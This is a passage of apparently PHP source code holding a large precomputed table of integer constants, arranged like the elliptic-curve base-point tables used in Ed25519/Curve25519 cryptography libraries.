                array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
